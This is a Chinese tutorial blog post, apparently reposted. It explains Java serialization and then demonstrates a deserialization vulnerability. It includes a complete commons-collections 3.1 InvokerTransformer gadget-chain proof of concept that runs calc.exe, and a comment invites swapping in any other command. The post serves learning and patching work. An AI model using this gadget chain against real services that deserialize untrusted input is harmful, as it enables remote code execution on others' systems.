Java反序列化漏洞實現


一、說明

以前去面試被問反序列化的原理只是籠統地答在參數中注入一些代碼當其反序列化時被執行,其實“一些代碼”是什么代碼“反序列化”時為什么就會被執行並不懂;反來在運營商做乙方經常會因為java反反序列化漏洞要升級commons.collections或給中間件打補丁,前面說的兩個問題還是不懂;今天又研究了番,也還不是很懂只是能彈計算器暫且先記一下。

 

二、序列化和反序列化

序列化和反序列化應該是在學《java網絡編程》的時候就寫過了,所謂序列化就是把對象從內存寫到磁盤文件或數據庫,反序列化就是從磁盤文件或數據庫讀取對象。注意序列化和反序列化都是針對對象不是類也不方法。

一直不明白為件么保存到文件要另外起個名字“序列化”,所以在相當長一段時間內都不敢肯定序列化就是寫文件。以下直接舉例明確序列化與反序列化的概念。

 

2.1 序列化對象對應類

我們這里使用的類很簡單,就只設置了一個叫name的屬性;另外凡需要序列化的類都需要實現Serializable接口

package com.ls.serdemo;

import
java.io.Serializable; class SerObj implements Serializable { public String name; }

 

2.2 序列化

序列化,我們這里就是實例化2.1中的SerObj類設置一下其name屬性,然后保存到object.ser文件

package com.ls.serdemo;

import
java.io.*; public class SerImp { public static void main(String args[]) throws Exception{ // 實例化對象 SerObj serObj = new SerObj(); serObj.name = "serobj"; // 以下就是序列化操作 // 打開object.ser文件 FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); // 使用writeObject()方法將serObj對象寫到object.ser文件 oos.writeObject(serObj); oos.close(); fos.close(); } }

完成后object.ser內容如下:

 

2.3 反序列化

package com.ls.serdemo;

import
java.io.*; public class DeSerImp { public static void main(String args[]) throws Exception{ // 以下就是反序列化操作 // 打開object.ser文件 FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 使用從object.ser文件中讀取對象 SerObj deSerObj = (SerObj) ois.readObject(); System.out.println(deSerObj.name); ois.close(); fis.close(); } }

運行可以看到成功打印name屬性

 

三、反序列化漏洞

反序列化漏洞不是java獨有的其他語言也會有,但都一樣是在反序列化時執行了注入的代碼。

反序列化漏洞注入代碼也不只一種形式,我們這里只以InvokerTransformer為例進行演示。

 

3.1 程序說明

為了簡單起見這里沒弄成web形式,但道理是類似的只是一個通過網絡傳數據一個通過磁盤傳數據;我們這里只重寫SerObj類和SerImp類,反序列化仍用2.3的代碼。

建議直接建maven項目,commons.collections相應pom.xml依賴:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

 3.2版本將InvokerTransformer標志為不安全,使用時會拋出異常;4.4版本似乎已直接刪除該函數(此即所謂java反序列化漏洞修復)。所以只能使用3.1版本。

另外網上很多教程不是使用這里“重寫類”的方法,而是直接借助sun.reflect.annotation.AnnotationInvocationHandler實現代碼執行,但在最新的jdk中似乎是進行了處理,至少我使用AnnotationInvocationHandler時沒能彈出計算器,具體未分析。

 

3.2 反序列化攻擊代碼

package com.ls.serdemo;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
// 用到的commons.collections包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class DeSerPoc {
    public static void main(String args[]) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
         // 執行calc.exe,把這里改成自己要執行的命令即可;服務器是linux就以成linux命令
                new InvokerTransformer("exec", new Class[] {
                        String.class }, new Object[] {"calc.exe"})
        };

        Transformer transformedChain = new ChainedTransformer(transformers);
        Map<String,String> beforeTransformerMap = new HashMap<String,String>();
        beforeTransformerMap.put("value", "value");
        Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain);
        // SerObjRewrite中的setValue能觸發afterTransformerMap中的代碼的執行
        SerObjRewrite serObj = new SerObjRewrite();
        serObj.map = afterTransformerMap;
        // 將對象寫入到object.ser
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(serObj);
        oos.close();
    }
}

// 重寫SerObj類,其實也不叫重寫就隨便新實現一個序例化類,重寫序列化類的readObject方法,該方法在反序列化時會被自動調用
// 在readObject中調用setValue,setValue能觸發注入代碼的調用,這正是代碼注入的關鍵
class SerObjRewrite implements Serializable {
    // name可有可無,又不是真重寫
    public String name;
    public Map map;

    private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
        in.defaultReadObject();
        if(map != null){
            Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
            e.setValue("400m");
        }
    }
}

此時object.ser(部分)內容如下:

 

3.3 反序列化利用結果

再次運行2.3的反序例化代碼,執行結果如下。

由於我們序例化的時候其實是SerObjRewrite類而不是SerObj類所以程序會報錯,但這無所謂因為是先執行的readObject后執行的類型轉換,注入代碼在程序類型轉換出錯前已被執行。

 

 參考:

http://www.freebuf.com/column/155381.html

https://www.cnblogs.com/KevinGeorge/p/8448967.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM